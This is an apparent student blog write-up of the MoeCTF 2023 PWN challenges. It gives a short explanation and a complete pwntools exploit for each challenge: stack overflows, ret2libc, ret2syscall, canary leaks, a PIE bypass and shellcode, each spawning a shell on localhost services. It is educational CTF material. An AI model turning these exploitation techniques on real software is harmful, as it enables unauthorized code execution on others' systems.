MoeCTF 2023 PWN

简介:

MoeCTF 是西安电子科技大学一年一度的信息安全新生夺旗赛, 由西电信息安全协会 (XDSEC) 面向全体准大学生举办。    完结撒花!!!

PWN方向的题目还是很不错的,涵盖了很多的知识点,由浅入深循序渐进,自己也收获不少,加把油!!!明年再来!!!


test_nc

签到题,考察点就是nc连接,Linux命令查看隐藏文件(ls -a)


baby_calculator

利用好pwntools来写脚本,主要坑就是应该怎么接受才合适,还有就是在写python脚本的时候间距是很重要的(不同间距运行顺序不一样),下面这个点希望注意下

​
from pwn import *
context.log_level="debug"

p = remote('localhost',42051)
for i in range(100):
	p.recvuntil("The second:")
	p.recvline()
	num1 =p.recvuntil("+")[:-1]
	num2 =p.recvuntil("=")[:-1]
	num =p.recvline()
	if int(num) ==int(num1) +int(num2):
		p.sendline("BlackBird")
	else:
		p.sendline("WingS")

p.interactive()

​

fd

fd文件描述符,文件描述符是一个非负整数,本质上是一个索引值,0代表标准输入,1代表标准输出,2代表标准错误,接下来就是去猜fd可能会等于多少(从3开始,因为前面三个已经有代表了),然后进行 (fd * 4) | 0x29A  按位或运算

当fd =3时,new_fd =12 | 0x29a =670(进制转换和按位运算你应该会吧),结果真是当fd =3到时候,实在猜不到的话,就去爆破


int_overflow

考察一个整型溢出,题目让你输入一个不是负数的数等于 -114514,因为int类型的范围是 

-2147483648 ~ 2147483647,整型溢出的意思差不多就是输入2147483648就会变成0,这样算就是得到下面这个数(这个就是原理,其实不用这么麻烦,可以直接在ida里面找到)


ret2text_32

经典32位栈溢出,binsh和system都给了,直接干

from pwn import *
context(log_level='debug',arch='i386', os='linux')

#io = process(pwnfile)
io = remote('localhost',33587)
elf = ELF('./111')

io.recvline("What's your age?\n")
io.sendline(b'100')    

bin_addr =0x804C02C
sys_addr =0x80492A9

payload =b'A'*(0x58 +4) +p32(sys_addr) +p32(0) +p32(bin_addr)

io.sendline(payload)
io.interactive()

ret2text_64

经典64位栈溢出,就是和32位传参不一样(不明白的看我这里Pwn Pwn Pwn!!! 技巧(1),知道这个解这题就没有问题

from pwn import *
context(log_level='debug',arch='amd64', os='linux')

p = remote('localhost',36355)
# p = process('./111')
elf =ELF('./111')

sys_addr =0x4012B7
bin_sh =0x404050
rdi_addr =0x4011be

p.sendlineafter(b"What's your age?\n",b'200')
payload =b'A'*(0x50 +8) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)

p.sendline(payload)
p.interactive()

shellcode_level0

经典题型,唯一需要注意的就是64位shellcode需要标住环境  context.arch = "amd64"  ,没有的话就默认32位

from pwn import *
context.arch = "amd64"

p = remote('localhost',42989)
# p = process('./111')
elf =ELF('./111')

#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

payload =asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

shellcode_level1

出现了选择,一个一个试就完事了

from pwn import *
context.arch = "amd64"

p = remote('localhost',41529)
# p = process('./111')
elf =ELF('./111')

#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

p.sendline(b'4')
payload =asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

uninitialized_key

这题唯一的点就是需要知道name和key里面的参数是同一个,然后也很容易发现只需要让key =114514就可以直接获取flag,这里只能往age里面输入114514,然后key里面输入 '\x00',不能倒过来(倒过来就会被 '\x00'截断,无法输入114514)

exp如下:

from pwn import *
context.arch = "amd64"

p = remote('localhost',45429)
#p = process('./111')
elf =ELF('./111')

p.sendline(b'114514')
p.sendline(b'\x00')

p.interactive()

PIE_enabled

开启PIE,并且ida里发现题目给了vuln的地址,可以得到基址,这就好办了,开干

from pwn import *
context.arch = "amd64"

p = remote('localhost',38497)
#p = process('./111')
elf =ELF('./111')

#sys_addr =elf.sym['system']
#bin_sh =0x4010
#rdi_addr =0x1323
#ret_addr =0x101a
vuln_add =0x1245

p.recvuntil(b'0x')
vuln_addr =int(p.recvline(),16)

base =vuln_addr -vuln_add
sys_addr =elf.sym['system'] +base
bin_sh =0x4010 +base
rdi_addr =0x1323 +base
ret_addr =0x101a +base

payload =b'A'*(0x50 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
 
p.sendline(payload)
p.interactive()

ret2libc

经典题型ret2libc,不懂可以看Pwn Pwn Pwn!!! 技巧(1),直接上exp:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io =process('./111')
io =remote('localhost',42973)
elf =ELF('./111')
libc = ELF('./libc6_2.35-0ubuntu3_amd64.so')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr =0x4011E8
rdi_addr =0x40117e
ret_addr =0x40101a

payload =b'A'*(0x50 +8) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
io.recvuntil(b'But..maybe libc can help u??\n\n')
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(puts_addr))

#put_addr =u64(io.recv(6).ljust(8,b'\x00'))
#print(hex(put_addr))

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))

payload=b'a'*(0x50 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
io.recvuntil(b'But..maybe libc can help u??\n\n')

io.sendline(payload)
io.interactive()

ret2syscall

同样是经典题型,后续我会在技巧(2)中把套路总结出来,exp跟着套路来就行,相关的地址都可以在ida里面找到,实在不行就用ROPgadget去找

exp如下:

from pwn import *
context.arch = "amd64"

p = remote('localhost',45009)
# p = process('./111')
elf = ELF("./111")

syscall =0x4011AE
bin_sh =0x404040
pop_rax =0x40117e
pop_rdi =0x4012e3
pop_rsi_rdx =0x401182
bss =0x404060          #readelf -S ./文件名 | grep bss     查看可读可写的bss段
ret =0x40101a

payload =b'A'*(0x10 +8)
payload +=p64(pop_rdi) +p64(bin_sh) 
payload +=p64(pop_rsi_rdx) +p64(0) +p64(0) 
payload +=p64(pop_rax) +p64(59) 
payload +=p64(syscall) 

p.sendline(payload)
p.interactive()

shellcode_level2

ida一下发现反汇编不了,所以只能观察汇编代码,你就会发现一些不同(需要掌握test的用法)

       Test命令将两个操作数进行逻辑运算,并根据运算结果设置相关的标志位。但是,Test命令的两个操作数不会被改变。运算结果在设置过相关标记位后会被丢弃。

简单点来说,就是如果 al <= 0,就跳到那个地址,否则继续往下执行,所以下面我们需要让程序跳转到那个地址,所以让它 al = 0

exp如下:

from pwn import *
context.arch = "amd64"

p = remote('localhost',43561)
# p = process('./111')
elf =ELF('./111')

#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

payload =b'\x00' +asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

uninitialized_key_plus

这道题出的也非常有意思,感觉可以让初学者更好的理解程序中的一点小细节不同而导致的exp写法的不同,如下图,这道题所输出的类型是%s字符串,跟上一类型%d整型的题不一样,注意到了这一点就差不多没有问题了

exp如下:

from pwn import *
context.arch = "amd64"

p = remote('localhost',37955)
# p = process('./111')

payload =b'a'*20 +p64(0x1BF52)     

p.sendline(payload)
p.sendline(b"\x00")

p.interactive()

little_canary

经典题型canary,由于没有出现格式化字符串漏洞,所以只能通过溢出来泄露canary的地址,不懂的可以查看Pwn Pwn Pwn!!! 技巧(1),没有什么好讲的,剩下的都是套路,注意一下接收就行

exp如下:

from pwn import *
from LibcSearcher import *
context.log_level="debug"

p = remote('localhost',37537)
#p = process("./111")
elf=ELF('./111')

payload =b'a'*0x48 +b'b'
p.sendafter(b'What\'s your name?\n',payload)
p.recvuntil(b'b')
canary =u64(b"\x00"+p.recv(7))

vuln=0x40121B
plt_addr =elf.plt['puts']
got_addr =elf.got['puts']
rdi_addr =0x401343
ret_addr =0x40101a

payload =b'a'*0x48 +p64(canary) +p64(0) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(vuln)

p.sendlineafter(b'I put a canary on my stack!\n', payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

p.sendafter(b'What\'s your name?',b'1')
payload =b'a'*0x48 + p64(canary) +p64(0) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
p.sendlineafter(b'I put a canary on my stack!\n', payload)

p.interactive()

总结:

这次比赛收获很多,又让我对PWN的理解上升了一个高度,同时也发现了自己的薄弱的地方,继续加油,冲冲冲!!!

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值